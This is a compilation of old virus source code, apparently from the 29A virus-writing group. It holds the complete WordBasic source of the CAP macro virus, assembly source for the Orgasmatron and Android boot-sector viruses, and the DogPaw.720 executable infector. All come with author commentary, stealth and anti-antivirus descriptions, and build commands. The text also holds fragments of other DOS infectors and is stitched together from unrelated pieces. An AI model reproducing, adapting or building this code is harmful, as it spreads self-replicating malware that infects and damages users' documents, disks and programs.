;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Save all the registers in the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
push_all: cli
pop word ptr cs:[ret_push]
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
push word ptr cs:[ret_push]
sti
ret
ret_push dw 0000h ; Caller address
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Restore all the registers from the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
pop_all: cli
pop word ptr cs:[ret_pop]
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
push word ptr cs:[ret_pop]
sti
ret
ret_pop dw 0000h ; Caller address
dd 00000000h
end_area01h equ this byte
dd 00000000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus buffers (inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus data buffer (not inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dd 00000000h
use_close db 00h
use_terminate db 00h
eng_recursive db 00h
eng_loop_point dw 0000h
eng_crypt_key dw 0000h
eng_displace dw 0000h
eng_entry_point dw 0000h
eng_init_ptr dw 0000h
eng_cmp_ptr dw 0000h
eng_exit_jmp dw 0000h
randomize dw 0000h ; Seed for random numbers
file_attr dw 0000h ; Original file attribute
file_date dw 0000h ; File date
file_time dw 0000h ; ... and time
file_size dd 00000000h ; Size of file to infect
inf_header db 1Ch dup (00h) ; Infected header
exec_filename db 80h dup (00h) ; File to infect
open_filename db 80h dup (00h) ; File to infect
delete_path db 80h dup (00h) ; File to delete
dropper_name db 0Eh dup (00h) ; Dropper file name
virus_mem_end equ this byte
anti_eta ends
end entry_point
'
' ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
' WordMacro.CAP ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
' by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
' ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
' ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
'
' Hello people, well here it is. Theres nothin more to say about this babe.
' It has ranked first in several "Top 10 virus" listz as the most prevalent
' virus and has kicked several AVer's assez out there due to its suposedly
' "complex" featurez - well F-Potatoe says erm.. 8*/ - and by its ability to
' create spontaneously generated variantz from itself. It is the CAP macro
' virus and here is its full source code, bein first released in 29A#2.
'
' Most of the CAP featurez have been fully described before, includin some
' comented code fragmentz. The main diference between the followin source
' code and the original i wrote some months ago is that this code has been
' indented for better understandin, while the original version was left-jus-
' tified prior to release. At this point i think its worthless to coment
' each line in the virus code considerin it has been done in full detail be-
' fore. For that purpose i suggest to read the past articlez: "Macro virus
' tricks" and "WordMacro.CAP description" for further information. Here only
' a quick review of the CAP main featurez is given:
'
' * No "SaveAs" problem: drive, path and format work in SaveAs dialog boxez.
' * Works in all existing Word languagez. Automacroz not needed for this.
' * Works in all Word platformz: PC, MAC, POWERMAC, etc. some virusez can't.
' * Guaranted to survive even if other macro virusez are currently present.
' * Internal generation count implemented, not using any .INI to store it.
' * Full stealth implemented, either by disabling or/and deleting submenuz.
' * Infects RTF filez too, i.e. saves them as templatez as with any DOC.
' * No payload. As the guy from NesCafee who wrote the Concept virus said:
' "This is enough to prove my point" #8).
'
'
' Who TF is CAP ?
' ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
' This virus was dedicated to a well known corrupt political figure in Vene-
' zuela: Carlos Andr‚s P‚rez, better known as CAP, alias "El Gocho", former
' president of Venezuela twice, durin the late 70's and the late 80's. Seve-
' ral eventz in the social history of Venezuela were badly marked by this
' prepotent stubborn ninja turtle headed man, most notably durin the Septem-
' ber 1996 timeframe, when to the astonished sight of more than one million
' people, he was found "not guilty" for the chargez of robery and malversa-
' tion of public fundz. After the judgement, he was already planin his can-
' didature to postulate for the next presidential electionz. Grrr...
'
' All these eventz encouraged the writin of this virus in mishap of this so-
' cial human virus known as CAP. The internal stringz translate as:
'
' C.A.P: a social virus.. and now a digital one..
' "j4cKy Qw3rTy" (jqw3rty@hotmail.com).
' Venezuela, Maracay, Dic 1996.
' P.S. Whatcha doin gochito? You'll never be Simon Bolivar.. Clown!
'
'
' Greetz
' ÄÄÄÄÄÄ
' The greetz go this time to:
'
' All the guyz from undernet and effnet #virus on IRC: keep lamerz out ;)
' Microsoft for such big holez in their office aplicationz: drunk boyz..!
'
'
' Disclaimer
' ÄÄÄÄÄÄÄÄÄÄ
' This sample code is for educational purposez only. The author is not res-
' ponsible for any problemz caused due to use/misuse of this file.
'
'
' (c) 1997. Jacky Qwerty / 29A.
Sub MAIN
'C.A.P: Un virus social.. y ahora digital..
'"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
'Venezuela, Maracay, Dic 1996.
'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
End Sub
Sub S(F$)
On Error Resume Next
S$ = "F%" 'virus mark
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$(0) = "CAP" 'build namez for the basic set of macroz
M$(3) = A$ + C$
M$(5) = A$ + "Save"
M$(2) = A$ + B$
M$(9) = A$ + "Templates"
A$ = "Auto"
M$(6) = M$(5) + "As"
M$(1) = A$ + B$
M$(8) = A$ + "Exec"
M$(4) = A$ + C$
M$(7) = "Tools" + D$
M = 0
N = 0
For T = 1 To 0 Step - 1 'scan macros inside global
For I = CountMacros(T) To 1 Step - 1 ' and active template and
B$ = MacroName$(I, T) ' delete all foreign macroz
If S$ = Left$(MacroDesc$(B$), 2) Then
For J = 0 To 9
If B$ = M$(J) Then
If T Then N = N + 1 Else M = M + 1
J = 9
End If
Next
Else
ToolsMacro .Name = B$, .Show = T + T + 1, .Delete
End If
Next
Next
If F$ <> "" Then
If M < 10 And N Then 'global template infection
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1, .AutoSave = 1, .SaveInterval =
"10"
For I = 0 To 9 'copy basic set of macroz
If I <> 7 Then K = - 1 Else K = 0
MacroCopy F$ + ":" + M$(I), M$(I), K
Next
'increment generation count
B$ = S$ + LTrim$(Str$(Val(Mid$(MacroDesc$(M$(7)), 3)) + 1))
ToolsMacro .Name = M$(7), .Show = 1, .Description = B$, .SetDesc
A$ = MenuText$(0, 1) 'copy localized file
For I = CountMacros(1) To 1 Step - 1 ' related macroz
J = 0
B$ = MacroName$(I, 1)
Select Case MacroDesc$(B$)
Case S$ + "O"
J = 2
Case S$ + "C"
J = 3
Case S$ + "S"
J = 5
Case S$ + "SA"
J = 6
End Select
If J Then
C$ = MenuItemMacro$(A$, 0, J)
If Left$(UCase$(C$), Len(M$(J))) <> UCase$(M$(J)) And Left$(C$, 1) <> "(" Then
MacroCopy F$ + ":" + B$, C$, K
End If
Next
T = - 1
For I = 0 To 1 'delete menu itemz (ToolsMacro, etc.)
If I Then J = 1 Else J = 6
A$ = MenuText$(I, J)
J = CountMenuItems(A$, I) - 1
For M = J To 1 Step - 1
If InStr(MenuItemMacro$(A$, I, M), D$) Then
If I Then
B$ = MenuItemMacro$(A$, I, M - 2)
If UCase$(B$) <> UCase$(M$(9)) And Left$(B$, 1) <> "(" Then MacroCopy M$(9), B$
, K
Else
M = M + 1
End If
For T = M To M - 1 Step - 1
If T > 3 Then ToolsCustomizeMenus .MenuType = I, .Position = T, .Name =
MenuItemMacro$(A$, I, T), .Menu = A$, .Remove, .Context = 0
Next
M = 1
T = 0
End If
Next
Next
If T Then
For I = 6 To J
If Left$(MenuItemMacro$(A$, 1, I), 1) = "(" And Left$(MenuItemMacro$(A$, 1, I - 2),
1) = "(" Then
For T = 1 To 3 Step 2
B$ = MenuItemMacro$(A$, 1, I - T)
If Left$(B$, 1) <> "(" Then MacroCopy M$(T + 6), B$, K
Next
I = J
End If
Next
End If
End If
Dim D As FileSaveAs 'document, template and RTF infection
GetCurValues D
If N < 10 And D.Format = 1 Or D.Format = 0 Or D.Format = 6 Then
D.Format = 1
For I = CountMacros(0) To 1 Step - 1
B$ = MacroName$(I, 0)
If B$ <> M$(7) Then K = - 1 Else K = 0
MacroCopy B$, F$ + ":" + B$, K
Next
FileSaveAs D
End If
End If
Err = 0
End Sub
Sub MAIN
On Error Resume Next
CAP.FC
End Sub
Sub MAIN
On Error Resume Next
CAP.FO
End Sub
Sub MAIN
On Error Resume Next
CAP.FS
End Sub
Sub MAIN
On Error Resume Next
CAP.FSA
End Sub
Sub MAIN
On Error Resume Next
CAP.S(FileName$())
End Sub
Sub MAIN
On Error Resume Next
DisableAutoMacros 0
CAP.S("")
End Sub
Sub MAIN
On Error Resume Next
CAP.S(FileName$())
End Sub
Macro: FileTemplates - description: "F%"
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Sub MAIN
End Sub
Macro: ToolsMacro - description: "F%0" 'this macro holds the generation count
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Sub MAIN
End Sub
' End
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; [Orgasmatron] by Vecna/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; A research full-stealth boot virus ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; which uses 386+ PMODE features ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; A lot of help and code by Eternal Maverick/SGWW.
;
; This virus is the first boot virus ever that doesn't hook int 13h in order
; to infect and stealth its tracks. It only hooks int 1, to manage the hard-
; ware debug breakpoints, and int 8, to constantly monitor any changes which
; happen in int 1, to prevent disabling our handler, and setting the debug
; breakpoint at the int 13h entry point.
;
; When the computer is booted from an infected floppy, the virus will first
; check if the computer is 386+, by means of int 6 (invalid opcode). If it's
; a 286 or even a lower machine, it will return the control to the original
; boot. Else, it will hook int 1 and int 8.
;
; The task performed by int 8 is not to allow any changes in 0:4 (int 1),
; fixing it if necessary, and set DR3 to point to the BIOS entry point for
; int 13h. I use DR3, the last of the debug breakpoints, because it's less
; likely to be overwritten by other programs. Debuggers and other programs
; that use int 1 or hardware debug breakpoints, like Soft-ICE or Windows95,
; will either crash, don't work, or don't let the virus work.
;
; When int 1 is called, our handler checks if it comes from an int 1 opcode
; (0xcd, 0x01 or 0xf1), from single step, or from a hardware debug break-
; point. If it is a debug breakpoint, and it comes from "our" DR3, the virus
; will infect the floppy or stealth it in case it's already infected. Orgas-
; matron infects the boot sector in HDs and floppies. The original boot is
; put in the last sector of the first track in harddrives, and in the last
; sector of the root dir in floppies. This will allow it to work with any
; floppy size.
;
; As you could read in the heading, Orgasmatron is the very first boot virus
; ever which uses 386+ PMODE features and works in protected mode, making it
; much more versatile and advanced.
;
; Lots of help and bug fix by Eternal Maverick/SGWW.
;
; No greetings this time... ;)
;
; tasm /m /la orgasmat.asm
; tlink orgasmat.obj
; exe2bin orgasmat.exe orgasmat.bin
.model tiny
.code
.8086
org 0h
start proc
jmp loco
nop
endp start
bpb struc
bpb_oem db 8 dup (?)
bpb_b_s dw ?
bpb_s_c db ?
bpb_r_s dw ?
bpb_n_f db ?
bpb_r_e dw ?
bpb_t_s dw ?
bpb_m_d db ?
bpb_s_f dw ?
bpb_s_t dw ?
bpb_n_h dw ?
bpb_h_d dw ?
bpb_sht db 20h dup (?)
bpb ends
loco proc
cli
sub ax, ax
mov ss, ax
mov sp, 7c00h
push cs
pop ds
dec word ptr ds:[413h]
int 12h
mov cl, 10
ror ax, cl
mov es, ax
xor di, di
mov si, sp
mov cx, 0100h
rep movsw
push es
mov ax, offset strtovr
push ax
retf
endp loco
strtovr proc
mov byte ptr cs:[i13InUse], 0
push dword ptr ds:[6*4]
cmp word ptr ds:[1Ch*4],offset int1C
je is286orlower
mov word ptr ds:[6*4], offset is286orlower
mov word ptr ds:[6*4+2], cs
.386p
mov eax, dword ptr ds:[13h*4]
mov dword ptr cs:[old13], eax
mov eax, dword ptr ds:[1Ch*4]
mov dword ptr cs:[old1C],eax
mov word ptr ds:[1Ch*4],offset int1C
mov word ptr ds:[1Ch*4+2],cs
jmp installed
.8086
is286orlower:
inc word ptr ds:[413h]
installed:
pop dword ptr ds:[6*4]
sti
push ds
pop es
retry:
xor ax, ax
int 13h
mov ax, 0201h
mov bx, 7c00h
call setcxdxdo13
jc retry
db 0eah
dw 07c00h
dw 0h
endp strtovr
.386p
setcxdxdo13 proc
push ax
cmp dl, 80h
je harddrive
floppydrive:
mov cx, word ptr es:[bx.bpb_r_e+3]
shr cx, 4
movzx ax, byte ptr es:[bx.bpb_n_f+3]
mul word ptr es:[bx.bpb_s_f+3]
add cx, ax
inc cx
sub cx, word ptr es:[bx.bpb_s_t+3]
mov dh, 1
jmp goexit
harddrive:
mov ah, 8
int 13h
and cx, 0111111b
mov dx,80h
goexit:
pop ax
int13 proc
pushf
db 9ah
old13 equ this dword
dd ?
endp int13
ret
endp setcxdxdo13
setdr proc
push ds
pushad
push 0
pop ds
mov word ptr ds:[1*4], offset int1
mov word ptr ds:[1*4+2], cs
mov byte ptr cs:[change], 90h
movzx eax, word ptr cs:[old13]
movzx ebx, word ptr cs:[old13+2]
shl ebx, 4
add ebx, eax
mov dr3, ebx
mov eax, dr7
or al, 010000000b
mov dr7, eax
popad
pop ds
ret
endp setdr
int1C proc
cmp byte ptr cs:[i13InUse], 0
jne int1isrunning
call setdr
int1isrunning:
db 0eah
old1C dd ?
endp int1C
int1 proc
push eax
mov eax, dr6
mov dword ptr cs:[savedr6], eax
xor eax, eax
mov dr6, eax
mov eax, dr7
and al, not 010000000b
mov dr7, eax
pop eax
nop
change equ byte ptr $ -1
endp int1
debug proc
push eax
push ds
push cs
pop ds
inc byte ptr [i13InUse]
mov eax, -1
savedr6 equ dword ptr $-4
test ax, 0100000000001000b
jz done
mov byte ptr [change], 0cfh
cmp cx, 1
jne done
cmp dl, 80h
jb floppy
cmp dh,1
je bootaccess
jmp short done
floppy:
or dh,dh
jne done
bootaccess:
pop ds
pop eax
add sp, 6
call int13
pushf
push ax
jc error
cmp word ptr es:[bx+offset mymark], '**'
mymark equ word ptr $ -2
je stealth
mov ax, 0301h
call setcxdxdo13
jc error
pusha
push es
push ds
push es
pop ds
push cs
pop es
mov di, offset boot
lea si,[bx+3]
mov cx, 3bh
cld
rep movsb
mov ax, 0301h
xor bx, bx
inc cx
mov dh, 1
cmp dl, 80h
je winchester
mov dh, 0
winchester:
call int13
pop ds
pop es
popa
stealth:
mov ax, 0201h
call setcxdxdo13
error:
dec byte ptr cs:[i13InUse]
pop ax
popf
retf 2
done:
dec byte ptr [i13InUse]
pop ds
pop eax
iret
endp debug
i13InUse db -1
db 0, 0, '-=ðORGASMATRONð=-', 0, 0
org 01feh
db 55h,0aah
end start
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; [Android] by Vecna/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; Polymorphic boot virus with VRBL ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Ok, here is a boot virus which uses my engine, VRBL. The virus is a simple
; MBR/BOOT infector, with stealth only in the harddrive. It is fucking sim-
; ple. When you boot from a floppy, it infects the MBR and continues booting
; from the harddrive, so, if you forget a floppy in the drive and reboot,
; you won't be warned about this. Everything will work nice.
;
; Int 13h is hooked, and if the harddrive MBR is accessed, the reads will be
; stealthed. When a floppy is accessed, the boot sector will be overwritten
; by the random loader, and the virus code will be put in the last sector of
; the root dir in 1.44 floppies. Other size of floppies will be probably da-
; maged, although this hasn't been tested yet.
;
; The virus, to be really efficient, needs to be polymorphic in the code as
; well. To detect this virus, you only need to scan 0/0/3 in harddrives and
; 0/1/13 in floppies for a certain signature. Despite of this, Android will
; force AVs to change their scanners, because they will need to check other
; sectors than 0/0/1.
;
; tasm /m /l android.asm
; tlink android.exe
; exe2bin android.exe android.com
.model tiny
.code
.386
org 0
startvirus:
xor ax, ax
cli
mov ss, ax
mov sp, 7c00h
sti
mov ds, ax
sub word ptr ds:[413h], 3
mov ax, word ptr ds:[13h*4]
mov word ptr cs:[old13], ax
mov ax, word ptr ds:[13h*4+2]
mov word ptr cs:[old13+2], ax
int 12h
shl ax, 6
push ax
pop es
push cs
pop ds
mov cx, offset buffer-offset startvirus
xor si, si
mov di, si
rep movsb
push es
push offset highentry
retf
highentry:
push cs
pop es
push 0
pop ds
mov ax, cs
mov word ptr ds:[13h*4+2], ax
mov word ptr ds:[13h*4], offset int13
push cs
pop ds
mov ax, 201h
mov bx, offset buffer
mov cx, 3
mov dx, 80h
pushf
call dword ptr cs:[old13]
mov ax, word ptr [startvirus]
cmp word ptr [bx], ax
je hdinfected
infecthd:
mov ax, 201h
mov bx, offset buffer
mov cx, 1
mov dx, 80h
pushf
call dword ptr cs:[old13]
mov ax, 301h
mov bx, offset buffer
mov cx, 2
mov dx, 80h
pushf
call dword ptr cs:[old13]
mov ax, 303h
xor bx, bx
mov cx, 3
mov dx, 80h
pushf
call dword ptr cs:[old13]
mov cx, 3
mov dx, 80h
mov di, offset buffer
call makeloader
mov ax, 301h
mov bx, offset buffer
mov cx, 1
mov dx, 80h
pushf
call dword ptr cs:[old13]
hdinfected:
push 0
pop es
mov ax, 201h
mov bx, 7c00h
mov cx, 2
mov dx, 80h
pushf
call dword ptr cs:[old13]
push es
push bx
retf
random_init:
ret
random:
in al, 40h
xchg ah, al
in al, 40h
ret
int13:
cmp ah, 2
jne exit
cmp cx, 1
jne exit
cmp dh, 0
jne exit
pushf
call dword ptr cs:[old13]
jc error
cmp dl, 80h
jne infect
mov ax, 201h
mov cx, 2
mov dx, 80h
pushf
call dword ptr cs:[old13]
dec cx
jmp error
infect:
pusha
push es
push ds
mov cx, 512
push es
push cs
pop es
pop ds
mov si, bx
mov di, offset buffer
rep movsb
push cs
pop ds
mov di, offset buffer
mov word ptr [di], 03cebh
add di, 3ch
mov cx, 13
mov dx, 100h
call makeloader
mov ax, 301h
mov bx, offset buffer
mov cx, 1
xor dx, dx
pushf
call dword ptr cs:[old13]
mov ax, 303h
xor bx, bx
mov cx, 13
mov dx, 100h
pushf
call dword ptr cs:[old13]
pop ds
pop es
popa
error:
retf 2
exit:
db 0eah
old13 dd ?
db '[Android] by Vecna/29A', 10, 13
db 'Written in Brazil in 1997', 10, 13
include vrbl.asm
seg_need db 65h
end startvirus
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; DogPaw.720 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; This simple DOS virus exploits a certain feature graciosly implemented for
; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It
; has to do with non-DOS aplicationz run from DOS boxez opened under these
; 32-bit systemz. It doesnt aply to Win3.1, tho.
;
; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box,
; the comon frustratin mesage "This program cannot be run in DOS mode" or
; "This program requires Microsoft Windows" apeared. The guyz at Microsoft
; always lookin for enhancementz finaly made it right with NT and Win95 and
; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u
; execute a non-DOS aplication from a DOS box, the system loader no longer
; executes the DOS stub program which displays such mesage, it actually ends
; up executin the real Win3.1 or Win32 aplication just as if u had double-
; clicked the program on yer desktop to execute it. But what has this thing
; got to do with us? Can this feature be used in a virus? the answer is yes.
;
; I wrote this virus just to ilustrate how the above feature can be cleverly
; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro,
; antidebug, etc. but it implements full stealth tho, and encrypts data of
; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio"
; from undernet #virus as he seems to be the first one havin exploited this.
;
;
; Technical description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win-
: NT and OS/2 programz. It infects filez on close and execute and disinfects
; them on open. I dont like this kind of stealth at all but it was more than
; necesary in order to exploit the forementioned feature.
;
; When DogPaw infects a file, it encrypts the first 720 bytez of the host,
; includin its MZ header and stores it at the end of the file, then it over-
; writes the first 720 bytez of the host with the virus code itself, which
; is really DOS program code. This way what the virus really does is conver-
; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con-
; tainin virus code. This doesnt mean that such filez are trojanized or da-
; maged, they are fully functional after infection, read on.
;
; When a DogPaw-infected file is executed, the system treats it as a genuine
; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in
; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc).
; This way the virus executes as a DOS 16-bit program and plants a resident
; copy in DOS memory. After this the virus has to execute the original apli-
; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di-
; sinfects the host by decryptin the original data at the end of file and
; writes it back to the begin of file previosly overwriten with virus code.
; Next the virus executes the original host and, becoz of the above feature,
; the system finally executes the original Win3.1, Win32 or OS/2 aplication
; just as if it had been executed from outside a DOS box.
;
; The disadvantagez of this method are plain to see. Microsoft obviosly dont
; want people to write clumsy DOS programz, tho it is still suportin old DOS
; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is
; needed in order to make the migration from DOS to Win32 less painfully and
; troublesome. But once this DOS compatibility disapears from these systemz,
; those nonDOS programz infected by this virus wont be able to run or spread
; further from inside these 32-bit OS's. As u can see its not wise at all to
; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz.
; For this purpose we must interact directly with the 32-bit file format, ie
; the PE format itself. There is no way to circumvent this in the future ;)
;
;
; A dog paw tale
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Some weekz ago i stole my dady's car to take a short ride around the block
; and i was so nervous that i almost crashed twice: the first time with a
; huge big garbage truck (yea even tho i wear glasez) and the second time
; with a little grandma crossin down the street. Shit.. that was enough for
; the day, i didnt want to kill anybody nor get killed at worst, so i deci-
; ded to go back home. I turned on the radio and started to sing "the side-
; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i
; had been about to crash twice. Why did i have to open my mouth! Just when
; i was about to turn right at the next block i heard a suden "crash" follo-
; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right
; tirez. Shit what da hell was that..? i looked back thru the front mirror
; just to know the answer. On the road i had left behind, there lied a poor
; crushed dog. Ohh shit i crushed a dog! Now from time to time when that
; scene comes to my mind, all i see is that unfortunate squeezed dog wavin
; goodbye with his paw.. the poor dog paw. #8I
;
;
; Greetingz
; ÄÄÄÄÄÄÄÄÄ
; And finaly the greetingz go to:
;
; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude!
; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock!
; Spanska ....... Dont get drunk too often ;) greetingz to Elvira..
; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S
; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;)
; Liquiz ........ Still watin to see that poly of yourz.. #8)
;
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational purposez only. The author is not res-
; ponsible for any problemz caused due to the assembly of this file.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm -ml -m5 -q -zn dogpaw.asm
; tlink -t -x dogpaw, dogpaw.exe
;
;
; (c) 1997 Jacky Qwerty/29A.
.model tiny
.286
include useful.inc
include MZ.inc
.code
org 100h
v_start:
old_MZ_low_ptr dw 0
old_MZ_high_ptr dw 0
c_start:
common_clean_ds:
push cs
pop ds
mov ds:[flag],al
pusha
mov bp,offset clean + 1
jnc common
mov si,dx
mov bp,offset infect + 1
cld
@endsz
std
lodsw
lodsw
cld
and al,not 20h
add al,-'E' ;check for EXE extension
jnz to_popa_ret
lodsw
and ax,not 2020h
add ax,-'XE'
jnz to_popa_ret
mov ax,3D00h
call call_int_21 ;open file in read/only mode
jc to_popa_ret
xchg bx,ax
push ds dx
call ptr2begin ;move file pointer to begin of file
jc end_close
push cs
pop ds
call read ;read first 720 bytez
jc end_close
cmp word ptr [si.MZ_csum],v_mark ;check infection
jnz end_close_clc
mov ax,[si.MZ_magic]
cmp word ptr [si.MZ_maxalloc],m_size_paras
jnz end_close_clc
add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature
end_close_clc: clc
end_close: pushf
mov ah,3Eh
call call_int_21 ;close file
pop ax
dec bp
lahf
pop dx
or al,ah
shl ah,4
pop ds
xor ah,al
sahf
jbe end_popa_ret ;if (carry or zero)
push ds
mov si,4*24h-80h
call get_int
pop ds
pusha ;ax, bx, si
mov bx,cs
mov ax,offset new_24
call set_int
push cx
mov cl,20h ;set read/write file atributes
mov ax,4301h
call call_int_21
pop cx
jc end_2popa_ret
pusha ;cx, dx
xchg bx,ax
mov ax,5700h ;get data & time
call call_int_21
jc close_file
push ds es
pusha
push cs cs
pop ds es
mov si,offset b_start
lea di,[si + old_MZ_low_ptr - v_start]
call bp ;clean or infect
jc err_file
mov ds:[flag],al ;al!=0 (check this while debugin)
err_file: popa
pop es ds
end_2popa_ret: popa
call set_int
end_popa_ret: popa
end_ret: ret
mov cx,b_size_bytes
pusha
call write ;write old MZ header to end of file
jc end_popa_ret
infect endp
push 8
pop ds
mov bx,[si+2]
mov ax,[si]
ret
popa
call ptr2old ;move file pointer to old MZ header
jc ptr2new
sub cx,cx
mov ah,40h ;remove old MZ header from end of file
call call_int_21
end_clean: ret
clean endp
already: push di
mov ds,[2Ch+10h+bp-x] ;get program filename
get_prog: inc si
cmp [si],bp
jnc get_prog
lea si,[si+4+bp-x]
pop dx
@copysz
call common_infect
push ds
push 8
pop ds
mov [si+2],bx
mov [si],ax
pop ds
ret
.model tiny
.code
code_begin:
jmp move_mcb
call delta_offset
delta_offset:
pop si ; Load SI from stack
sub si,(offset delta_offset-code_begin)
call zero_regs
ret ; Return!
endp
call infect_file
int21_exit:
pop bp si di dx ; Load registers from stack
call int21_simu__
push ax ; Save AX at stack
pushf ; Save flags at stack
or al,al ; Successful?
jnz filesiz_exit ; Not successful? Jump to filesiz_...
jmp test_stealth
dta_stealth:
pop ax ; Load AX from stack
call int21_simu__
push ax ; Save AX at stack
pushf ; Save flags at stack
jc filesiz_exit ; Error? Jump to filesiz_exit
call tst_file_ext
jne filesiz_exit ; Not equal? Jump to filesiz_exit
sub [bx+1ah],(code_end-code_begin+1482h)
sbb word ptr [bx+1ch],00h
filesiz_exit:
popf ; Load flags from stack
pop ax ; Load AX from stack
pop es ds cx bx ; Load registers from stack
call infect_file
loop loop_stack
call int21_simula
ret ; Return!
endp
endp
push [si+(24h*04h)-(24h*04h)]
push [si+(24h*04h+02h)-(24h*04h)]
mov word ptr [si+(24h*04h)-(24h*04h)],offset int24_virus
mov [si+(24h*04h+02h)-(24h*04h)],cs
push [si+(2ah*04h)-(24h*04h)]
